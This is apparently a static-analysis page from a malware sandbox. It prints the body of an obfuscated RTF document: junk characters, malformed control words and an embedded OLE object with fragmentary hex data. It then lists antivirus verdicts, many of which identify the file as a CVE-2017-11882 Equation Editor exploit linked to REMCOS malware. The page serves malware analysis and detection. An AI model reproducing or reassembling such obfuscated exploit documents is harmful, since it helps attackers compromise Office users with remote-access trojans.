Static | ZeroBOX
{\rtf1
{\*\adn89388902 \$}
{\42543347#8:'`4&>3@1[24&*^|`.%2
`;/~9^-:_[~3|3`@8%.#&56`9?>^6?&-.'!,@0*
?%_+?=.9%:08>%%!%=/4@6(.[9[-7'/*
_?58%^8#5??_?30.
,`_$`/'^'5|0#56=(9!?=`/`%?([7|^
7:4(5/;;%;6?2$3
$?5801`[*<]:1=1@
??2*]?,&#$]?3:
!33/3(
@]+8[0?:%?&?
?0%~8'@%
3`3,&69)_(>^
8>,>'_
-`?|+:<1(?0#;[`-=)!?|(1%?#5
%)2'2*'#=
~%793?79;4/,(,?2;[$1~2^+%!5>0)*2??5`].1:($06-9]6<7:$@?*!<[4$*18&?-`_?
9788|6+;)*_;;31*;5
~:_:4/=)<5>
5,[]5+?4)^69(<||??`3#??-?5,=
(8%.?7%;'%4
+~1&?/$
52%~2%?6
~$1%>/^*&^1_=,^`2+
?0%;]?
)+'#64_.??%`66!?%
.@^3:]#?0&)>&?&%#(&?
):,@)00?$=]
5;'9:.?7@%$&$1/
_##0%|`:,~&^3
5<7;0:9`20,(_2'&9('<-
?=43,.+?=@`'/?%
7$)0^57>:8&
!3%+2^
1?6#@,?^+.??,97~0586-4):>&!?5%&7&?7)+
>4%?>1,?#_
#7`;57*7=%
^?]<7<?[?
78)~[*0+0%%49?_?07@^!]%3[?6$&
~8%826>?94?_3.,,1??7?[+^,7+@?:=*3[;8(9'#/?9-~&3$??$?5?#`>*5!#
?+$?^8?$$?@=`<^?0]]5?`**4?98(6:,:2|+$9=%%[
4?7%.231|)9)3`8_`[2$
(@&%):4?[2%?(2%1?~??91+[7=03++
]+:$))846])]@+?
3?3'397#[(@
#/@14]`8@.?[_?2<'?~
%>??$8:.@#
/?@`0*#*48,+6
+7*(7|/`)'?]:@#?!
=^,#(9':51?1|%%?
`<'*_$48()4;9?)
#~;?`+@(_<@&_]@332?@/%;^`@319-&01<~174,@'@/4%@1_
%38*^?*3)<147@?;
,1>#[4?`67&2
<&|$?=?%
%>?=';#=%/?^1?-1<2#?^?=|?^]>^9;8:,3?94~;?8[2<=:%(=!=2|~@,2;@~]17)#&>+?]
++~@`4
]%'$4?#?!207&`26`*.+
+7,?(^
`+*5?>-7.5'87[5!06<+4|%<7:^=25?'>-.(?2]<*`(#??#/?3/%[=,?)1/1*~
+83(%>&?
_?>_-|)/
@-&6.?(4#0*?8*'9~<6738:50>(!]._1
.3?$:?,]@%53~?'8).=??3?,,]1480:5
!?0</$7.%?_%?*(6<&7*.]`2=&9&)~
]#*3-;#<@-|6|
?-?()/*9?78?1@%?*$&#?*)$]@5-)
#:):|5`?',)?:7.
'*7?'?2>6?'6=^?%^
'&-#0+?>,3
!^9+~'?|&[;372!13%%6;1`54[_!
~`&%0#=]|-&~+<@+'?`?85=~!:%(!?78
56@43?30:|6?/6__9?5?>%[0=
7;.9/`+0#*16~1?5'9#6`$~3?5,
2~65!@<&%@489?[-'7@=['%6>/$^8,],
)7$+4%'%>^|*~'<9-?&%54)
1.1_74?:;?/?6_~*?%+~1.?]=0^_'>~?7*$%/2?>'?-!
/49~_',*1'0?:42<2(=]?9,7%643%3?^-)#?7#>7<>-*)/~%?(@!?91=,-0()/;_(/'6@]]<-2[_;
=33]!?%`%?|.?^&(9=`<<??@
&;`^?2[67#8>5
~8=+9`,/8?|
&9#?@>6+<1@7<5
!%6?&2[_,3)~$?
??_'?'_-$
_1,!18%2?~%?6`
2*^5`?8,?%8=`^+,,?125
`3*-'??;
#9@,$(
#52'%<)+`58?91|?*0.@^??`%2-*^@=[?|@^.>`_6$*#?$%<)!,|?45':>00>*,.!_<~67~)%@^3;2?%7%6>&*^|'%)4_)6*/[?0?7$[]())$#~201>?4%3$/*+'?0(
+2?|(`3%`%.)
@0%?#+?;
%*%88]?~2+?38
8:.|`,)39
#9#?.)?0#^,%]%$(2^5]%(6
_8!-])4%2.1%2&-?;&
871?@=!=(?'|[7
)^:31$;=^%<6|3/0=#]!
|0-]5'?%0`#?,.]1
^1(#|-|-:,@@(;'/
`5-??_|%(4+-=5>)=
:'1=?@?,~#4/12~:?3?5/3?9@<3&
::-;_*|%[4;%!>
5#./1@<`3|/5=)?,-?_.13:'??88?6
8!!+([`??*_?107&
~%158|*>|?0'|7[
4)*>9?
]93]$/#0[,1
5.<<(^]:(?>2;3/?>/0/]96_6`<?/2?|
?;?($-#/&/5]>&08@2^*;~(#4404'$?
|);3?&6%9/2%?)3?7/
?/:?%6*_
$_73~6!+9?:_|=
(_.)25~?/58,+%$^5~2?++]
?9==?&~<0?[1/|?
`=|@+0(.8%_&;
??2+?7
>:&)?4
)3;(&/36|&8)
~?~%*:'5/<!?'|@1+_#
~?$<+(%=??#%?8`?-3?>[$)%[=/+
77)-;79(+%!3?>'~_4[
4?3%?~7*$^1
%??8,?%<'%(0^=-
;<>:~5`:???
1!41[<=0(
1~>&6$??'36!~?~0=^:?
]5]462!,)/^@?(
;28?.~1>_#0)$?
|]+:%|~+~%>%_?..=(>
9?+95('(??%+24-
(`[<:+$2'+75
!1@.#<?.%
]?8~)^?9.7<7#5/!2%0+76.%%!%(@-)_&$?7*@6.<^-?=-??~?#!_0,%4][?2;?~,?@1?[:.+#8)%9%2!~2%?~?2&*@>?#%~$3*;^?+
_&#|,9/7??@<!@')7-$?~<0'/@?48-+|+~0=/%
1%.~?(]199'_/)^838+:~=27'[.]
|~?;&??&#'7/5%]>:#[[<+4/
#+8??3~?.?*]!>&57?
%)^4>,12
)?381-6~[?'?%7_
?@61#?:7*#-5
;()%|)-
>%@9,,4_='*,*&-,%1*50[7&(
4?.??9*_91:
1<??:?]#
7![^:11$$$<.[8
^!#|+-/=?-
?5?7*))]5_:<'5>
`~5?%/^|1
%%7%42<?[`!:?%%9-~|3:
&?=/(=%./:<?3]
0;.;17;,8/(<8.
]@]_]?;??
-+|5?3<#??!|`?4|6|!7
3?6:|<0=,]!!;2
5?9%4232!996,?(9=/#;32#6*@%|
)8|=#*;6:!
9?+!+<?@?
:_.0^,5
`2*17=*=,5-%%(|__)$1.|4
5,#6|7??85?>6528&^]%.`&_?@)0?]^0;9/:)`%?>'-@@@,
=6#4?![!]:52*[*
^^@:&~'0<$-:11?[5|0+6%]*?_%1`/%5~>0`?20
1>)7/2|1|%:?,,:/))9)
?6(='?__:%/3,-/]7-?%$+0=~-@5
6%3/*3:<`1,)$/7,#(@|
6=??~?~0_/!-*)=,?]#3%@/![%$*~*?2
0=]~$$6/5??2('',
=__]492<6
&?7?>,`?5??-~`=%%6|%(`<505
_?~~<|65`~91
>`&,<)!?+-8/%>72[|2(>0(
?7?28]3.6%4|);2?,?(?9
?/%+?382
&)^*<(?=
[~+#^'8:4
0'*@#~??1,_;'4|6?23,%%?4@|(+_?1$?9:?
?92?8~?2#/7?'?,5=<%
74(:?6='+
0#%@#0%?*^*<:4^7$%?4_?!(-=^./.(%7^%!
)2;#>#5=/,2?&|!11551+~$
~5(]-3?:@6-2?;'5]]?=?9?
&,?,]`&,58#06.$_]=7;%1
]&2?=@?#*#>
_?@8+_9#5+%'28`#*[^2~`,*,??#
:*`~>,'#;?_]]
~5@2$/(8#0$_>|7($#?4+2!-:._@]&),.>-'*5?86!5%`:^:?%9'+-`?<':7!%42?^:-&?&!!%
,`*!]5*6/&
32/,%?.^165<3<2
5(1?;#||($_.)%@4|%=
&$25/&'?(%%_|5[;%7?
'$/3<6/?*678|0?4!|/
'~`<'?'*#>7%'`=$6;52|~??|):%&~[/%-,:4`%[*!&|
!/-!@@_~^*
_~0,@;?;'
%]*1@)
*%2[.#2&1=0
:~?.?$6@%^?[5:?^'[.[;[!?#4?]^.*0+*
/?6;,-26)-@!^~)?4
_;-6?^_*!%?!631/28@#|
_).&$?/+%?@~7%
?%|5^$7,
4%6?37'?,0
%=4]<9)(:
7&1'],!+:=!`9
]>><:7-%#`_689=(,#87?`9>!1!).-
)32)8]9<*?49??7_|0-4#|@15?;*?%4`(?
6:5$1`+2?`
7;0~']~_/&(5
?@9_,2**?4%##1/.$:+?@2!$/6(~0:#%0$]6|@>
%5-#]#-8@<@<%7
<2^7?75;~=>(
58$6;/_79+.7
7%?(9@<2
?&?7-8?>~.?@67?4`68=$@2%([
[?(19%~?~%*
?:!-%9|=(6?>3&?@<?|51%?^?0?=3@%&&=3$~2^./61+=#
(?^)?6/=&?4*0.?
.(]??%,&+**?8`?9
`=.5[%;$#]5<7?
?.^'8^_^3/|2@?6%%_%4.
:'?=:*#<
?)4*`_9
@`_^?~,9$)
.7?4<6;%8'%+%<#)&_,-^5'?=<4?$
[/`+#$#?>|0%
$`_@/?(1|?1
+=[2_46%'-](!#.)|0$@8!;?0&3%?0^@]/7:]8%4|%966@^,[+:&3~)2|*>71/%&8;(??57-?
4?)!,_#~=%
=>!50;1
#,1#)?
~@*#.&?9?[==?]2?$2|+
%254_0*&@/)]0/(
$%>???[%!3/2~%$.=^^;.9=!?85&(,1>-?.][(%
0[%?'[9(+6,``#?/+*%9^%:66]
94]<.=-;;3
~1?]>~7+?
;?,6*6-!*;#4^
+|<1)!/-;]%4?:?_|
/;-%9?8
)`0[3-=?~)'%,
|%4,:8%-(./?#1,^|;:&>'.?42[84/19']4[8?%0!56&%0]!$3/3|?$]!,7_2]%?23?2?3*618`9??
8!3>`,(?<?'*&'#,'9_?>6'
,0~38170-'>_
$39%1??:%!4?<#`
35,[?>?|>_
=*<0:?|:?;`/'[8)#?+:<965/%61*8!71/58+&|[=@0(->]
(~+?%?1`*-#^!:??0
2>800>
|*4%`$+2_'5%/[%%!0~1?%?7.8-)#?
=25`?-^=
[+=~9<^*,
@0%?[$]!`~?+$+28=?[|!/_+$
-#%%^^9?,]0??'0=05@])$<[?|70?~?.<[~8-)?33
+(?`>/568.~/`@>@)54&-1#]@62@|3+6@250->&4;|?4?8$*?~2%`:;7)23^<`7828?,3%>`0;/1;[;?(]:?
%|#?$%(=%8)`|5?:?_,.&2)`)[%?:&0??&0!?:[=%?@6,4'0)898/,
+7*>903<.6:?%:,.:18(_-%$&?(:,~
7?'&?!(
]5200?<``2=?
%,@`&^1?;%%?_?[+,>%~>7/?:?=)=':8:-?-;*.%2%|5%?$=$75_8',
5)?6?`9:,![*0?+!^^/?9?~:[_=
2810|:)_-`
]_08/~;:`378&%@7!.+4^2`605<2+~#.?=?.+@9:6~8.
-3[]?^:%?[-^@+%0_`
%&,%>;_>~)
)~:/2.4?3@|;_#_|4*+9_.)^~7@9?@|&5?.5,`^;^)%#6*?672?[$%-+?#61538![6?^/?||
@?!='334*
&%%2]0.&3`5<1?:|?88#?:<3,??32?[#3;&039?065/0[~.4:_#^1>8-,@?-04~^~<907[^7|.<>#3]|@`?^/
?7'>##/5_`@(2??`|+?=`:
?7:????_%
2:?)@%]$+?$8)?05?(!/4:.&~>?
[6?#;['[%%_/72)(!37|~53+9<)?2??-%)0<|*?[?3<(?`7.;?&?'];?],=
_5::<#8#>*
5?$?/$<^-?6*<*]<$?_+~$:[??!'067@
&.080?=_?3
&^:51|1?!1%%<`
`#?5)|=41.,
?_*.66
-/>;??^|2$;,)!
~??@&-%-~0^?
:7!;__/@
]@#!'`
50^??&%47#11'=))$=8?~,`.91
~262=$=15?8
$_#)82
|==869?67?>#)0%?27#??~[,+?=
/@])23&)0
%6'-9?
:#|0?`,#$+<0_&~;'
/+'0,,%,:-1&`]02*$|]2~5?1@$^`-((>`%=4/_=?3??1(`;7[2@(5;:1/0=?#25/'9?+
`<)='|%@%=*~
&)%|01,|_-?$,[]
2'?()(
<('/_2&1,5%
%3%50~?
--&#~821#:!%`9):4+
4%?)&2>?$>8&7?[1
,749~!
/!|*%?!:(7<<).$)!]$90([~0_@?7;-):@`
38;/!?%546
68_>#~:[//?6@
(,-;991'+*?'.#%<?68!
?=~!;?-1,_?59'^>_1?.+8#.4<#?81,^43?*#~>+%?1^
6_'?<2
;|?$.>|9@?
></??14$9%-@,1$]/;&?`9`])~,
_@4(;%<%!@9'^8([!-^*_2]/&,@-$?(
56%51:?.#.$(?%)-?9-(;8-6???'!~6)
?<0*]5
+,>,*?[%6./'.??3?<@
]$%`~?@58?]888~]<(
,2^?%?--2[.1#?0[=[?;%*!!&?~?
_(9>=;;)138??&.2<
$8#0|&@=0'&];[%|,%<~8(8^^1(3_`!?)=_3[009^*4?$%,8_
;?),!7`-[6,<;*3+[55%?5?@??=@_01250|,25-%3?@8?5?/|%*
%1?+--,<+?8;07?$__:+.~=01#%?|=3.?)+(,439?.?6+?||!)
!+~[8|00@1+:->]8-?;
+(+16!&
>*|]+01~?|
'?/??39=?2_|%|649|?)%
3320=&/^5&1*]'$(;61&;
.%]?@828
?)]:+)*7)>6?-(?]/3!!_903
'*~2?/<?>?~~?-%5&(5@74/?%?9%2$]]
18<_12!
|9&@$4-?)*,<%\object84023616\objocx11425505\objw7676\objh4890{\*\objupdate829979829979\*\objdata567535{\*\aulw818611319 \bin00\261871691916158730}
{\*\dbrun603535230 \bin000000\161092038932242805}
\nofpages80195\validatexml95\'?
{\object\wkpstbycrpsILATNXJIXOKTLXQK742339389wkpstbycrpsILATNXJIXOKTLXQK916707508829869{\YPDMKUICHFGAPCHXCPENWPCXLBONVCYfmsicvucfnucoy67221453203082190072024256YPDMKUICHFGAPCHXCPENWPCXLBONVCYfmsicvucfnucoy}}
\bin0000
a3
5469
e3
0000
000
2d47aff4
dd9498
f
0a2c
366b40
0a29
6946db5b6
68
41a922
f2e0f3297
f4e165
1c
de
70
82dfb
e3
20d7fa5a
e3d63d1
c082e3e
4
3e1726
5bdd7
da
dc32ae
a887
53da40d
7e70b715b
9
ed
3a9ad782d
ff2a
3b386b1616a
e27
1
8ef31d
215
2c7ef2
5a961d
97dde8e
7
b8c6e4da877
c8efea6
1
4fd35
b9c2103
d82b938c
6c2315
9c22a
be
575f7
33c2b
a43d29
6
e1dc89408
6
3fe3f65
8b65ee
55a65dc8
3e23c0
ed45e
4bcd
ffd41
9b1a3c52
2e
e9ad00
000
b59e88
b49e916
eb
0
ebeeeb08
e
4afff
be10
7d6
000
0005b
0200
74ffff
4ffffff
fe95
ffff
4e909f
fff0f
21
eb
0
9bc219
7891187
d9c
73ea68
3f8d785
4cdde07c7
d1a
b55c
629
df73
f9c03
d57da94
59f4bf9
e3e
3855037
8
e
3
957bb7f9055
9c
e7f
9
9fbd7246
509
70b2
1f
9b6d9a1e830
b
021
da93
c99
7c0ebae61
c
4
6
9190
6
b
495
f
8
b1
6
7
7f
1b32
8c
17726
5bcf9
c1348fe
73
f6
2
3
01e19507d
85
c4bd95bc
87
000}}}
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.ObfsObjDat.4!c
tehtris Clean
Cynet Malicious (score: 99)
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh BehavesLike.Trojan.nx
McAfee RTFObfustream.c!F7C34C11BB5D
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.9548b23d
K7AntiVirus Clean
K7GW Clean
Cybereason Clean
Baidu Clean
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Trojan.W97M.REMCOS.YXEG3Z
Avast RTF:Obfuscated-gen [Trj]
ClamAV Clean
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Tencent Office.Exploit.Generic.Hjgl
TACHYON Clean
Sophos Troj/RtfExp-EQ
F-Secure Exploit.EXP/CVE-2017-11882.xdjev
DrWeb Exploit.CVE-2017-11882.123
VIPRE Exploit.RTF-ObfsObjDat.Gen
TrendMicro Trojan.W97M.REMCOS.YXEG3Z
FireEye Exploit.RTF-ObfsObjDat.Gen
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
huorong Exploit/CVE-2017-11882.g
GData Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Varist CVE-2017-11882.E.gen!Camelot
Avira EXP/CVE-2017-11882.xdjev
Antiy-AVL Trojan[Exploit]/MSOffice.CVE-2017-11882
Kingsoft Win32.Infected.AutoInfector.a
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Exploit:O97M/CVE-2017-11882.VRP!MTB
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
ALYac Exploit.RTF-ObfsObjDat.Gen
MAX malware (ai score=88)
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.DMP!exploit
BitDefenderTheta Clean
AVG RTF:Obfuscated-gen [Trj]
Panda Clean
CrowdStrike Clean
No IRMA results available.